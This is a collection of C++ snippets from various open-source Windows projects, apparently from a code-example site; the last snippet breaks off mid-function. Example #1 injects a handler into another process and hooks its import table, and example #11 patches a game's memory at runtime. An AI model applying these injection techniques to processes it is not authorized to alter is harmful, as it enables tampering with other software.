コード例 #1
0
BOOL IATHookInjector::HookFunction(DWORD dwProcessId, CHAR* pModuleName, CHAR* pFunctionName, PVOID pHandler, DWORD dwHandlerSize) const
{
	//PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE
	auto hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwProcessId);
	if (!hProcess)
	{
		printf("Error opening process\r\n");
		return FALSE;
	}

	auto dwPEBAddress = FindRemotePEB(hProcess);
	if (!dwPEBAddress)
	{
		printf("Error finding remote PEB\r\n");
		return FALSE;
	}

	auto pPEB = ReadRemotePEB(hProcess);
	if (!pPEB)
	{
		printf("Error reading remote PEB\r\n");
		return FALSE;
	}

	auto pImage = ReadRemoteImage(hProcess, pPEB->ImageBaseAddress);
	if (!pImage)
	{
		printf("Error reading remote image\r\n");
		return FALSE;
	}

	auto pImportDescriptors = ReadRemoteImportDescriptors(hProcess, pPEB->ImageBaseAddress, pImage->FileHeader->OptionalHeader.DataDirectory);
	if (!pImportDescriptors)
	{
		printf("Error reading remote import descriptors\r\n");
		return FALSE;
	}

	for (DWORD i = 0; i < 0x2000; i++)
	{
		auto descriptor = pImportDescriptors[i];
		auto pName = ReadRemoteDescriptorName(hProcess, pPEB->ImageBaseAddress, &descriptor);

		if (!pName)
		{
			printf("Error reading remote descriptor name\r\n");
			return FALSE;
		}

		if (!_stricmp(pName, pModuleName))
		{
			DWORD dwThunkArrayLen = BUFFER_SIZE / sizeof(IMAGE_THUNK_DATA32);

			auto pILT = ReadRemoteILT(hProcess, pPEB->ImageBaseAddress, &descriptor);

			if (!pILT)
			{
				printf("Error reading remote ILT\r\n");
				return FALSE;
			}

			DWORD dwOffset = 0;

			for (dwOffset = 0; dwOffset < dwThunkArrayLen; dwOffset++)
			{
				auto pImportByName = ReadRemoteImportByName(hProcess, pPEB->ImageBaseAddress, &pILT[dwOffset]);
				if (!pImportByName)
				{
					printf("Error reading remote import by name\r\n");
					return FALSE;
				}

				if (!strcmp(static_cast<char*>(pImportByName->Name), pFunctionName))
					break;
			}

			auto pIAT = ReadRemoteIAT(hProcess, pPEB->ImageBaseAddress, &descriptor);
			if (!pIAT)
			{
				printf("Error reading remote IAT\r\n");
				return FALSE;
			}

			auto dwOriginalAddress = pIAT[dwOffset].u1.AddressOfData;
			printf("Original import address: 0x%x\r\n", dwOriginalAddress);


			auto pImportImageBase = FindRemoteImageBase(hProcess, pPEB, pModuleName);

			if (!pImportImageBase)
			{
				printf("Could not find remote image base for %s\r\n", pModuleName);
				return FALSE;
			}

			auto pImportImage = ReadRemoteImage(hProcess, pImportImageBase);

			if (!pImportImage)
			{
				printf("Could not find remote image at 0x%p\r\n", pImportImageBase);
				return FALSE;
			}

			auto pImportTextHeader = FindSectionHeaderByName(pImportImage->Sections, pImportImage->NumberOfSections, ".text");
			if (!pImportTextHeader)
			{
				printf("Could not find section header\r\n");
				return FALSE;
			}

			auto pHandlerBuffer = new BYTE[dwHandlerSize];

			memcpy(pHandlerBuffer, pHandler, dwHandlerSize);

			auto bSuccess = PatchDWORD(pHandlerBuffer, dwHandlerSize, 0xDEADBEEF, dwOriginalAddress);

			if (!bSuccess)
			{
				printf("Error patching import address into handler");
				return FALSE;
			}

			auto dwHandlerAddress = DWORD(pImportImageBase) + pImportTextHeader->VirtualAddress + pImportTextHeader->SizeOfRawData - dwHandlerSize;

			// Write handler to text section
			bSuccess = WriteProcessMemory(hProcess, LPVOID(dwHandlerAddress), pHandlerBuffer, dwHandlerSize, nullptr);
			if (!bSuccess)
			{
				printf("Error writing process memory");
				return FALSE;
			}

			printf("Handler address: 0x%x\r\n", dwHandlerAddress);

			auto pAddress = LPVOID(DWORD(pPEB->ImageBaseAddress) + descriptor.FirstThunk + (dwOffset * sizeof(IMAGE_THUNK_DATA32)));

			// Write IAT
			bSuccess = WriteProcessMemory(hProcess, pAddress, &dwHandlerAddress, 4, nullptr);

			if (!bSuccess)
			{
				printf("Error writing process memory");
				return FALSE;
			}

			return TRUE;
		}
		if (!descriptor.Characteristics)
		{
			return FALSE;
		}
	}

	return FALSE;
}
コード例 #2
0
ファイル: ndassvc.cpp プロジェクト: tigtigtig/ndas4windows
DWORD
CNdasService::Impl::ThreadStart(LPVOID)
{
	//
	//	Stop NdasBus auto-plugin feature to take over plugin facility.
	//

	BOOL fSuccess = LsBusCtlStartStopRegistrarEnum(FALSE, NULL);
	XTLASSERT(fSuccess);

	//////////////////////////////////////////////////////////////////////////
	// Get the initialized instance
	//////////////////////////////////////////////////////////////////////////

	if (!InitializeInstances())
	{
		OnServiceStop();
		return 1;
	}

	//////////////////////////////////////////////////////////////////////////
	// Bootstrap registrar from the registry
	//////////////////////////////////////////////////////////////////////////

	XTLVERIFY( m_cDeviceRegistrar.Bootstrap() );

	//////////////////////////////////////////////////////////////////////////
	// Start Queuing Work Items
	//////////////////////////////////////////////////////////////////////////

	m_nWorkItems = 0;
	if (!StartWorkItems(m_nWorkItems))
	{
		OnServiceStop();
		return 1;
	}

	// Release semaphore to start workers (semaphore increment)
	LONG prev;
	XTLVERIFY( ::ReleaseSemaphore(m_hWorkItemSemaphore, m_nWorkItems, &prev) );
	XTLASSERT( 0 == prev );

	//////////////////////////////////////////////////////////////////////////
	// Start Command Processor Thread
	//////////////////////////////////////////////////////////////////////////

	if (!m_wiCmdServer.CreateThreadEx(
			&m_cCmdServer, 
			&CNdasCommandServer::ThreadStart,
			LPVOID(m_hStopServiceEvent)))
	{
		OnServiceStop();
		return 1;
	}

	//////////////////////////////////////////////////////////////////////////
	// Initialization thread is done
	//////////////////////////////////////////////////////////////////////////

	return 0;
}
コード例 #3
0
ファイル: Edit.cpp プロジェクト: DIOSZHOU/WndProject
	BOOL CEdit::Create(int x, int y, int nWidth, int nHeight, DWORD dwStyle)
	{
		BOOL bRet = false;
		m_hEdit = CreateWindowEx(WS_EX_CLIENTEDGE, _T("EDIT"), _T(""), dwStyle, x, y, nWidth, nHeight, m_hParent, m_hMenu, m_hInst, LPVOID(this));
		SetWindowLong(m_hEdit, GWL_USERDATA,(LONG)this);
		m_pfnPrevWndProc = (WNDPROC)SetWindowLong(m_hEdit, GWL_WNDPROC, (long)WndProc);	//替换窗口过程,保存原来过程
		if (m_hEdit)
		{
			bRet = true;
			SendMessage(m_hEdit, WM_SETFONT, (WPARAM)m_hFont, true);
			m_ShortCutMenu = new CShortCutMenu(m_hMenu);
		}
		return bRet;
	}
コード例 #4
0
ファイル: markdown.cpp プロジェクト: YueLinHo/WinMerge
CMarkdown::FileImage::FileImage(LPCTSTR path, DWORD trunc, int flags)
: pImage(NULL), cbImage(0), nByteOrder(0)
{
	HANDLE hFile = 0;
	if (flags & Mapping)
	{
		pImage = LPVOID(path);
		cbImage = trunc;
	}
	else
	{
		hFile = flags & Handle ? HANDLE(path) :
			CreateFile(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, 0);
		if (hFile != INVALID_HANDLE_VALUE)
		{
			cbImage = GetFileSize(hFile, 0);
			if (cbImage != INVALID_FILE_SIZE)
			{
				if (trunc && cbImage > trunc)
				{
					cbImage = trunc;
				}
				pImage = MapFile(hFile, cbImage);
				if (!(flags & Handle))
				{
					CloseHandle(hFile);
				}
			}
		}
	}
	if (pImage == NULL)
	{
		cbImage = 0;
	}
	else if (cbImage >= 4 && (flags & Octets & (nByteOrder = GuessByteOrder(*(LPDWORD)pImage))))
	{
		LPVOID pCopy;
		switch (nByteOrder)
		{
		case 2 + 1:
		case 2 + 1 + 8:
			// big endian: swab first
			cbImage &= ~1UL;
			pCopy = MapFile(INVALID_HANDLE_VALUE, cbImage);
			if (pCopy)
			{
				_swab((char *)pImage, (char *)pCopy, cbImage);
			}
			UnmapViewOfFile(pImage);
			pImage = pCopy;
			if (pImage)
			{
			case 2 + 0:
			case 2 + 0 + 8:
				// little endian
				int cchImage = cbImage / 2;
				LPWCH pchImage = (LPWCH)pImage;
				if (nByteOrder & 8)
				{
					++pchImage;
					--cchImage;
				}
				cbImage = WideCharToMultiByte(CP_UTF8, 0, pchImage, cchImage, 0, 0, 0, 0);
				pCopy = MapFile(INVALID_HANDLE_VALUE, cbImage);
				if (pCopy)
				{
					WideCharToMultiByte(CP_UTF8, 0, pchImage, cchImage, (LPCH)pCopy, cbImage, 0, 0);
				}
				UnmapViewOfFile(pImage);
				pImage = pCopy;
			}
			break;
		case 4 + 1:
		case 4 + 1 + 8:
		case 4 + 2:
		case 4 + 2 + 8:
			// odd word endianness: swab first
			cbImage &= ~3UL;
			pCopy = MapFile(INVALID_HANDLE_VALUE, cbImage);
			if (pCopy)
			{
				_swab((char *)pImage, (char *)pCopy, cbImage);
			}
			UnmapViewOfFile(pImage);
			pImage = pCopy;
			if (pImage)
			{
			case 4 + 0:
			case 4 + 0 + 8:
			case 4 + 3:
			case 4 + 3 + 8:
				int cchImage = cbImage;
				LPCH pchImage = (LPCH)pImage;
				if (nByteOrder & 8)
				{
					pchImage += 4;
					cchImage -= 4;
				}
				Converter converter("utf-8", nByteOrder & 2 ? "ucs-4be" : "ucs-4le");
				cbImage = converter.Convert(pchImage, cchImage, 0, 0);
				pCopy = MapFile(INVALID_HANDLE_VALUE, cbImage);
				if (pCopy)
				{
					converter.Convert(pchImage, cchImage, (LPCH)pCopy, cbImage);
				}
				UnmapViewOfFile(pImage);
				pImage = pCopy;
			}
			break;
		}
	}
}
コード例 #5
0
ファイル: folder_watcher.cpp プロジェクト: KaiSta/scrates
void folder_watcher::run()
{
	runs_ = true;
	thread_ = CreateThread(0, 0, tfunc, LPVOID(this), 0, 0);
	SetThreadPriority(thread_, THREAD_PRIORITY_LOWEST);
}
コード例 #6
0
ファイル: QPCSC.cpp プロジェクト: open-eid/qt-common
QPCSCReader::Result QPCSCReader::transferCTL(const QByteArray &apdu, bool verify,
	quint16 lang, quint8 minlen, quint8 newPINOffset, bool requestCurrentPIN) const
{
	bool display = false;
	QHash<DRIVER_FEATURES,quint32> features = d->features();
	if( DWORD ioctl = features.value(FEATURE_IFD_PIN_PROPERTIES) )
	{
		DWORD size = 0;
		BYTE recv[256];
		LONG rv = SC(Control, d->card, ioctl, nullptr, 0u, recv, DWORD(sizeof(recv)), &size);
		if( rv == SCARD_S_SUCCESS )
		{
			PIN_PROPERTIES_STRUCTURE *caps = (PIN_PROPERTIES_STRUCTURE *)recv;
			display = caps->wLcdLayout > 0;
		}
	}

	quint8 PINFrameOffset = 0, PINLengthOffset = 0;
	#define SET() \
		data->bTimerOut = 30; \
		data->bTimerOut2 = 30; \
		data->bmFormatString = FormatASCII|AlignLeft|quint8(PINFrameOffset << 4)|PINFrameOffsetUnitBits; \
		data->bmPINBlockString = PINLengthNone << 5|PINFrameSizeAuto; \
		data->bmPINLengthFormat = PINLengthOffsetUnitBits|PINLengthOffset; \
		data->wPINMaxExtraDigit = quint16(minlen << 8) | 12; \
		data->bEntryValidationCondition = ValidOnKeyPressed; \
		data->wLangId = lang; \
		data->bTeoPrologue[0] = 0x00; \
		data->bTeoPrologue[1] = 0x00; \
		data->bTeoPrologue[2] = 0x00; \
		data->ulDataLength = quint32(apdu.size())

	QByteArray cmd( 255, 0 );
	if( verify )
	{
		PIN_VERIFY_STRUCTURE *data = (PIN_VERIFY_STRUCTURE*)cmd.data();
		SET();
		data->bNumberMessage = display ? CCIDDefaultInvitationMessage : NoInvitationMessage;
		data->bMsgIndex = NoInvitationMessage;
		cmd.resize( sizeof(PIN_VERIFY_STRUCTURE) - 1 );
	}
	else
	{
		PIN_MODIFY_STRUCTURE *data = (PIN_MODIFY_STRUCTURE*)cmd.data();
		SET();
		data->bNumberMessage = display ? ThreeInvitationMessage : NoInvitationMessage;
		data->bInsertionOffsetOld = 0x00;
		data->bInsertionOffsetNew = newPINOffset;
		data->bConfirmPIN = ConfirmNewPin;
		if(requestCurrentPIN)
		{
			data->bConfirmPIN |= RequestCurrentPin;
			data->bMsgIndex1 = NoInvitationMessage;
			data->bMsgIndex2 = OneInvitationMessage;
			data->bMsgIndex3 = TwoInvitationMessage;
		}
		else
		{
			data->bMsgIndex1 = OneInvitationMessage;
			data->bMsgIndex2 = TwoInvitationMessage;
			data->bMsgIndex3 = ThreeInvitationMessage;
		}
		cmd.resize( sizeof(PIN_MODIFY_STRUCTURE) - 1 );
	}
	cmd += apdu;

	DWORD ioctl = features.value( verify ? FEATURE_VERIFY_PIN_START : FEATURE_MODIFY_PIN_START );
	if( !ioctl )
		ioctl = features.value( verify ? FEATURE_VERIFY_PIN_DIRECT : FEATURE_MODIFY_PIN_DIRECT );

	qCDebug(APDU).nospace() << 'T' << d->proto - 1 << "> " << apdu.toHex().constData();
	qCDebug(APDU).nospace() << "CTL" << "> " << cmd.toHex().constData();
	QByteArray data( 255 + 3, 0 );
	DWORD size = DWORD(data.size());
	LONG err = SC(Control, d->card, ioctl, cmd.constData(), DWORD(cmd.size()), LPVOID(data.data()), DWORD(data.size()), &size);

	if( DWORD finish = features.value( verify ? FEATURE_VERIFY_PIN_FINISH : FEATURE_MODIFY_PIN_FINISH ) )
	{
		size = DWORD(data.size());
		err = SC(Control, d->card, finish, nullptr, 0u, LPVOID(data.data()), DWORD(data.size()), &size);
	}

	Result result = { data.mid(int(size - 2), 2), data.left(int(size - 2)), quint32(err) };
	qCDebug(APDU).nospace() << 'T' << d->proto - 1 << "< " << result.SW.toHex().constData();
	if(!result.data.isEmpty()) qCDebug(APDU).nospace() << data.left(int(size)).toHex().constData();
	return result;
}
コード例 #7
0
ファイル: FFPlugin.cpp プロジェクト: victimofleisure/FFRend
int CFFPlugin::GetPluginCaps(int CapsIdx) const
{
	return((int)m_pff(FF_GETPLUGINCAPS, LPVOID(CapsIdx), 0));
}
コード例 #8
0
ファイル: PlatformWin.cpp プロジェクト: ADFLin/QuadAssault
bool GameWindowWin::create( char const* title , Vec2i const& size , int colorBit , bool bFullScreen )
{
	TCHAR const* FRAME_CLASS_NAME = TEXT("GameWindow");
	WNDCLASSEX  wc;

	HINSTANCE hInstance = ::GetModuleHandle( NULL );

	// Create the window class for the main window
	wc.cbSize         = sizeof(WNDCLASSEX);
	wc.style          = CS_HREDRAW | CS_VREDRAW | CS_DBLCLKS /*| CS_OWNDC*/ | CS_CLASSDC;
	wc.lpfnWndProc    = DefaultProc;
	wc.cbClsExtra     = 0;
	wc.cbWndExtra     = 0;
	wc.hInstance      = hInstance;
	wc.hIcon          = LoadIcon(hInstance,MAKEINTRESOURCE(0));
	wc.hIconSm        = LoadIcon(hInstance,MAKEINTRESOURCE(0));
	wc.hCursor        = LoadCursor(NULL, IDC_ARROW);
	wc.hbrBackground  = (HBRUSH)(COLOR_WINDOW + 1);
	wc.lpszMenuName   = NULL;
	wc.lpszClassName  = FRAME_CLASS_NAME;

	// Register the window class
	if (!RegisterClassEx(&wc))
		return false;

	DWORD winStyle ,exStyle;

	if ( bFullScreen )
	{
		DEVMODE dmScreenSettings;

		memset( &dmScreenSettings , 0 , sizeof( dmScreenSettings) );

		dmScreenSettings.dmSize = sizeof(dmScreenSettings);
		dmScreenSettings.dmPelsWidth	= size.x;
		dmScreenSettings.dmPelsHeight	= size.y;
		dmScreenSettings.dmBitsPerPel	= colorBit;
		dmScreenSettings.dmFields       = DM_BITSPERPEL|DM_PELSWIDTH|DM_PELSHEIGHT;

		if ( ChangeDisplaySettings(&dmScreenSettings,CDS_FULLSCREEN)!=DISP_CHANGE_SUCCESSFUL )
		{
			return false;
		}

		winStyle = WS_POPUP;
		exStyle  = WS_EX_APPWINDOW;
	}
	else
	{
		winStyle  = WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION | WS_SYSMENU ;
		exStyle   = WS_EX_OVERLAPPEDWINDOW;
	}

	RECT rect;
	SetRect (&rect , 0, 0, size.x , size.y );
	AdjustWindowRectEx(&rect,winStyle, FALSE ,exStyle);

	mhWnd = CreateWindowEx(
		exStyle,
		FRAME_CLASS_NAME ,
		title ,
		winStyle ,
		CW_USEDEFAULT, CW_USEDEFAULT,
		rect.right -rect.left ,
		rect.bottom - rect.top ,
		NULL,
		NULL,
		hInstance ,
		LPVOID( this ) );


	if ( !mhWnd )
		return false;

	mSize = size;

	ShowWindow( mhWnd , SW_SHOWDEFAULT );
	UpdateWindow( mhWnd );

	return true;
}
コード例 #9
0
ファイル: mpvlcsource.cpp プロジェクト: Yura80/mpvlcsource
HRESULT CMPVlcSourceStream::DoBufferProcessingLoop(void)
{
    Command com;
    HRESULT result = S_OK;
    BOOL bStop = false;

    OnThreadStartPlay();

    LogInfo("Starting grabber thread");

    if (m_exec)
    {
        LogInfo("Executing external command: %s %s", m_exec, m_exec_opt);
        ::ShellExecuteA(0, NULL, m_exec, m_exec_opt, NULL, SW_HIDE);
        Sleep(m_exec_wait);
    }

    //libvlc_vlm_seek_media(m_vlc, "vlc_ds_stream", 0);

    if (libvlc_vlm_play_media (m_vlc, "vlc_ds_stream") != 0)
    {
        LogError("libvlc_vlm_play_media failed");
        return S_FALSE;
    }

    OVERLAPPED o;
    o.hEvent = CreateEvent( NULL, FALSE, FALSE, NULL);
    o.Internal = o.InternalHigh = o.Offset = o.OffsetHigh = 0;

    ConnectNamedPipe(m_hPipe, &o);

    WaitForSingleObject(o.hEvent, 20000);
    BOOL fConnected = HasOverlappedIoCompleted(&o);

    SetThreadPriority(m_hThread, THREAD_PRIORITY_TIME_CRITICAL);

    if (!fConnected)
    {
        LogError("ConnectNamedPipe failed");
        CancelIo(m_hPipe);
        CloseHandle(o.hEvent);
        return S_FALSE;
    }
    else do
        {
            BOOL requestAvail = FALSE;
            while ((requestAvail = CheckRequest(&com)) == FALSE)
            {
                //LogDebug ("Command: %d", com);

                IMediaSample *pSample;

                HRESULT hr = GetDeliveryBuffer(&pSample,NULL,NULL,0);
                if (FAILED(hr))
                    continue;

                // fill buffer
                // ------------------------------------------------------------------------------------
                hr = S_OK;
                BYTE *pData;
                DWORD cbData;

                CheckPointer(pSample, E_POINTER);
                // Access the sample's data buffer
                pSample->GetPointer((BYTE **)&pData);
                cbData = pSample->GetSize();

                DWORD startRecvTime = GetTickCount();
                m_buffsize = 0;

                do
                {
                    DWORD cbBytesRead = 0;
                    ResetEvent(o.hEvent);
                    o.Internal = o.InternalHigh = o.Offset = o.OffsetHigh = 0;
                    BOOL fSuccess = ReadFile( m_hPipe,  pData + m_buffsize,  cbData - m_buffsize,  &cbBytesRead, &o);

                    if (GetLastError() == ERROR_IO_PENDING)
                    {
                        for (int n=0; n < 20; n++)
                        {
                            if ((requestAvail = CheckRequest(&com)) == TRUE)
                                break;
                            if (WaitForSingleObject(o.hEvent, 1000) == WAIT_OBJECT_0)
                                break;
                        }
                        fSuccess = GetOverlappedResult(m_hPipe, &o, &cbBytesRead, false);
                    }

                    if (!fSuccess || cbBytesRead == 0)
                    {
                        CancelIo(m_hPipe);
                        break;
                    }
                    m_buffsize += cbBytesRead;

                } while ( !requestAvail && m_buffsize < (cbData  * 3 / 4)
                          && abs((signed long)(GetTickCount() - startRecvTime)) < 100);

                // ------------------------------------------------------------------------------------

                if (m_buffsize != 0 && !(requestAvail && com == CMD_STOP))
                {
                    LogDebug("Posting %d / %d bytes", m_buffsize, pSample->GetSize());

                    REFERENCE_TIME rtStart = startRecvTime;
                    REFERENCE_TIME rtStop  = GetTickCount();

                    pSample->SetTime(&rtStart, &rtStop);
                    pSample->SetActualDataLength(m_buffsize);
                    pSample->SetSyncPoint(TRUE);

                    hr = Deliver(pSample);
                    // downstream filter returns S_FALSE if it wants us to
                    // stop or an error if it's reporting an error.
                    if(hr != S_OK)
                    {
                        LogInfo("Deliver() returned %08x; stopping", hr);
                        bStop = true;
                    }

                } else
                {
                    // FillBuffer returned false
                    bStop = true;
                    DeliverEndOfStream();
                }

                pSample->Release();

                if (bStop)
                    break;
            }

            if (requestAvail)
            {
                LogInfo("Received command: %d", com);
                if (com == CMD_RUN || com == CMD_PAUSE) {
                    Reply(NOERROR);
                } else if (com != CMD_STOP) {
                    Reply((DWORD) E_UNEXPECTED);
                    LogDebug("Unexpected command %d!!!", com);
                }
            }
        } while (com != CMD_STOP && bStop == false);

    //DeliverEndOfStream();
    LogDebug("end loop");

    HANDLE hSDThread = CreateThread(NULL, 0, &VlcStreamDiscardThread, LPVOID(m_hPipe), 0, 0);

    libvlc_vlm_stop_media(m_vlc, "vlc_ds_stream");
    LogDebug("libvlc_vlm_stop_media");

    if (WaitForSingleObject(hSDThread, 30000) == WAIT_TIMEOUT)
    {
        DWORD ec;
        LogError("Terminating StreamDiscardThread!");
        GetExitCodeThread(hSDThread, &ec);
        TerminateThread(hSDThread, ec);
    }
    DisconnectNamedPipe(m_hPipe);
    LogDebug("DoBufferProcessingLoop end");

    CloseHandle(o.hEvent);
    return result;
}
コード例 #10
0
ファイル: FFPlugin.cpp プロジェクト: victimofleisure/FFRend
float CFFPlugin::GetParamDefault(int ParamIdx) const
{
	plugMainUnionTag	pmu;
	pmu.ivalue = (int)m_pff(FF_GETPARAMETERDEFAULT, LPVOID(ParamIdx), 0);
	return(pmu.fvalue);
}
コード例 #11
0
ファイル: 3rdDlg.cpp プロジェクト: Emiyasviel/Arianrhod
void CMy3rdDlg::OnTimer(UINT nIDEvent)
{
	HWND hWnd =::FindWindow("魔法门之英雄无敌III",NULL);
	if(hWnd == NULL) hWnd =::FindWindow("Heroes III",NULL);
	DWORD openProcId;
	GetWindowThreadProcessId(hWnd,&openProcId);	
	hProcess = OpenProcess(PROCESS_ALL_ACCESS|PROCESS_TERMINATE|PROCESS_VM_OPERATION|PROCESS_VM_READ|PROCESS_VM_WRITE,FALSE,openProcId);
	if(hWnd != NULL)
	{
		switch(nIDEvent)
		{
		case 1:((CComboBox *)GetDlgItem(HeroNames))->EnableWindow(1);
		       ((CComboBox *)GetDlgItem(ReadSkillData))->EnableWindow(1);
			   ((CComboBox *)GetDlgItem(WriteSkillData))->EnableWindow(1);
			   {
				   for(int itemix = 0;itemix != 8;++itemix)
				   {
					   ((CComboBox *)GetDlgItem(Skill_1 + itemix))->EnableWindow(1);
					   ((CComboBox *)GetDlgItem(SkillLevel_1 + itemix))->EnableWindow(1);
				   }
			   }
			   if(AddedName == 0 && Ready_To_Get)
			   {
				   GetHeroName();
			   }
			   break;
		case 2:ReadProcessMemory(hProcess,LPVOID(0x56C39A),&MovNameAdd,0x4,NULL);
		       if(MovNameAdd == 0xCCCCCCCC)
			   {
				   WriteProcessMemory(hProcess,(void*)(0x56C555),(void*)&(MovNameAdd = 0xFFFE40E9),4,NULL);
				   WriteProcessMemory(hProcess,(void*)(0x56C558),(void*)&(MovNameAdd = 0x9090FFFF),4,NULL);
				   WriteProcessMemory(hProcess,(void*)(0x56C39A),(void*)&(MovNameAdd = 0xFF2242C6),4,NULL);
				   WriteProcessMemory(hProcess,(void*)(0x56C39E),(void*)&(MovNameAdd = 0x84B000A3),4,NULL);
				   WriteProcessMemory(hProcess,(void*)(0x56C3A2),(void*)&(MovNameAdd = 0x01B4E900),4,NULL);
				   WriteProcessMemory(hProcess,(void*)(0x56C3A6),(void*)&(MovNameAdd = 0),2,NULL);
			   }
			   ReadProcessMemory(hProcess,LPVOID(0x84B000),&NameAdd_Tmp,0x4,NULL);
			   if(NameAdd_Tmp != 0 && NameAdd != NameAdd_Tmp)
				   NameAdd = NameAdd_Tmp;
			   else if(NameAdd_Tmp != 0)
			   {
				   NameAdd -= 0x2C564;
				   Ready_To_Get = TRUE;
				   KillTimer(2);
			   }
		}
	}
	else
	{
		((CComboBox *)GetDlgItem(ReadSkillData))->EnableWindow(0);
		((CComboBox *)GetDlgItem(WriteSkillData))->EnableWindow(0);
		while(HeroNum)
			((CComboBox *)GetDlgItem(HeroNames))->DeleteString(--HeroNum);
		if(Ready_To_Get == TRUE)
		{
			SetTimer(2,500,NULL);
			Ready_To_Get = FALSE;
		}
		AddedName = 0;
		NameAdd = 0xFFFFFFFF;
		HeroID = 0xFFFF;
	}
	CDialog::OnTimer(nIDEvent);
}
コード例 #12
0
ファイル: test.cpp プロジェクト: hellojaewon/study
int main () {
    // create io completion port handle
    s_ioPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, NULL, 0);
    if (s_ioPort == NULL) {
        printf("CreateIoCompletionPort failed\n");
        exit(1);
    }

    s_threadPoolSize = MAX_THREADS;

    // create thread
    for (unsigned i = 0; i < s_threadPoolSize; i++) {
        unsigned threadId;
        s_threads[i] = (HANDLE)_beginthreadex(
            NULL,
            0,
            ThreadFunction,
            LPVOID(i), // argument
            CREATE_SUSPENDED,
            &threadId
        );
    }

    // start thread
    for (unsigned i = 0; i < s_threadPoolSize; i++)
        ResumeThread(s_threads[i]);

    HANDLE hFile = CreateFile(
        "text.txt",
        GENERIC_READ,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
        NULL
    );
    if (hFile == INVALID_HANDLE_VALUE) {
        fprintf(stderr, "CreateFile() failed\n");
        exit(1);
    }

    // associates file handle with iocp
    if (!CreateIoCompletionPort(hFile, s_ioPort, NULL, NULL)) {
        fprintf(stderr, "associating file handle with iocp failed!\n");
        exit(1);
    }

    IocpOp * op = new IocpOp(OP_FILE_READ);
    // otherwise, ReadFile fails
    unsigned result = ReadFile(
        hFile,
        s_buf,
        MAX_BUF-1,
        NULL,
        op
    );
    if (result == FALSE) {
        unsigned err = GetLastError();
        if (err == ERROR_IO_PENDING) {
            printf("overlapped io started\n");
        } else {
            printf("error code : %u\n", err);
            exit(1);
        }
    }

    for (unsigned i = 0; i < 10; i++) {
        Sleep(100);
        IocpOp computeOp(OP_COMPUTE);
        PostQueuedCompletionStatus(
            s_ioPort,
            0,
            0,
            &computeOp
        );
    }

    printf("main thread done!\n");
    printf("wait for all thread to finish the work from completion port\n");

    for (unsigned i = 0; i < s_threadPoolSize; i++) {
        IocpOp terminateOp(OP_TERMINATE);
        PostQueuedCompletionStatus(
            s_ioPort,
            0,
            0,
            &terminateOp
        );
    }

    // wait for all thread to be terminated
    for (unsigned i = 0; i < s_threadPoolSize; i++)
        WaitForSingleObject(s_threads[i], INFINITE);
    
    CloseHandle(s_ioPort);
    for (unsigned i = 0; i < s_threadPoolSize; i++)
        CloseHandle(s_threads[i]);

    // where is the best moment to close this file handle
    CloseHandle(hFile);

    return 0;
}
コード例 #13
0
void SubclassChildControls( 
	HWND hWndParent 
	)
{
	if(		hWndParent == NULL 
		||	(!::IsWindow( hWndParent ))
		)
		return;  

	HWND hWnd = ::GetWindow( hWndParent, GW_CHILD ); 
	HWND hWndLast = NULL;
	
	CPtrArray arrGroupBoxes;
	while( hWnd != NULL )
	{
		TCHAR szCompare[512] = _T("");
		::GetClassName(
			hWnd,
			szCompare,
			sizeof( szCompare )/sizeof( szCompare[0] )
			);
		static const TCHAR szStatic[]		= _T("STATIC");
		static const TCHAR szEdit[]			= _T("EDIT");
		static const TCHAR szComboBox[]		= _T("COMBOBOX");
		static const TCHAR szButton[]		= _T("BUTTON");
		static const TCHAR szProgress[]		= _T("PROGRESS");
		static const TCHAR szScrollBar[]	= _T("SCROLLBAR");
		static const TCHAR szSpin[]			= _T("MSCTLS_UPDOWN32");

		// static
		if( _tcsicmp( szCompare, szStatic ) == 0 )
		{
			__EXT_SUBCLASS_PROFUISCTRL( hWnd, CExtLabel ); 
		}
		// edit
		else if( _tcsicmp( szCompare, szEdit ) == 0 )
		{
			__EXT_SUBCLASS_PROFUISCTRL( hWnd, CExtEdit );
		}
		// combobox
		else if( _tcsicmp( szCompare, szComboBox ) == 0 )
		{
			__EXT_SUBCLASS_PROFUISCTRL( hWnd, CExtComboBox );
		}
		// button
		else if( _tcsicmp( szCompare, szButton ) == 0 )
		{
			CWnd * pWnd = CWnd::FromHandlePermanent( hWnd ); 
			if( pWnd == NULL ) 
			{
			#ifdef BS_TYPEMASK
				ASSERT( BS_TYPEMASK == 0x0000000FL );
			#endif
				__EXT_MFC_LONG_PTR dwWndStyle = ::__EXT_MFC_GetWindowLong( hWnd, GWL_STYLE );
				__EXT_MFC_LONG_PTR dwWndType = ( dwWndStyle & 0x0000000FL );
				if(		dwWndType == BS_PUSHBUTTON 
					||	dwWndType == BS_DEFPUSHBUTTON 
					)
				{
					// regular button
					__EXT_SUBCLASS_PROFUISCTRL( hWnd, CExtButton );
				}
				else if(	dwWndType == BS_AUTOCHECKBOX
						||	dwWndType == BS_CHECKBOX
						||	dwWndType == BS_AUTO3STATE
						||	dwWndType == BS_3STATE
						)
				{
					// check box
					__EXT_SUBCLASS_PROFUISCTRL( hWnd, CExtCheckBox );
				}
				else if(	dwWndType == BS_AUTORADIOBUTTON
						||	dwWndType == BS_RADIOBUTTON
						)
				{
					// radio button
					__EXT_SUBCLASS_PROFUISCTRL( hWnd, CExtRadioButton );
				}
				else if( dwWndType == BS_GROUPBOX )
				{
					// group box
					__EXT_SUBCLASS_PROFUISCTRL( hWnd, CExtGroupBox );
					arrGroupBoxes.Add( LPVOID( hWnd ) );
					::InvalidateRect( hWnd, NULL, TRUE );
				} 
			} // if( pWnd == NULL )
		}
#ifndef __EXT_MFC_NO_PROGRESS_WND
		else if( _tcsicmp( szCompare, szProgress ) == 0 )
		{
			// progress bar
			__EXT_SUBCLASS_PROFUISCTRL( hWnd, CExtProgressWnd );
		}
#endif
		else if( _tcsicmp( szCompare, szScrollBar ) == 0 )
		{
			// scroll bar
			__EXT_SUBCLASS_PROFUISCTRL( hWnd, CExtScrollBar );
		} 
#ifndef __EXT_MFC_NO_SPIN
		else if( _tcsicmp( szCompare, szSpin ) == 0 )
		{
			// spin button
			__EXT_SUBCLASS_PROFUISCTRL( hWnd, CExtSpinWnd );
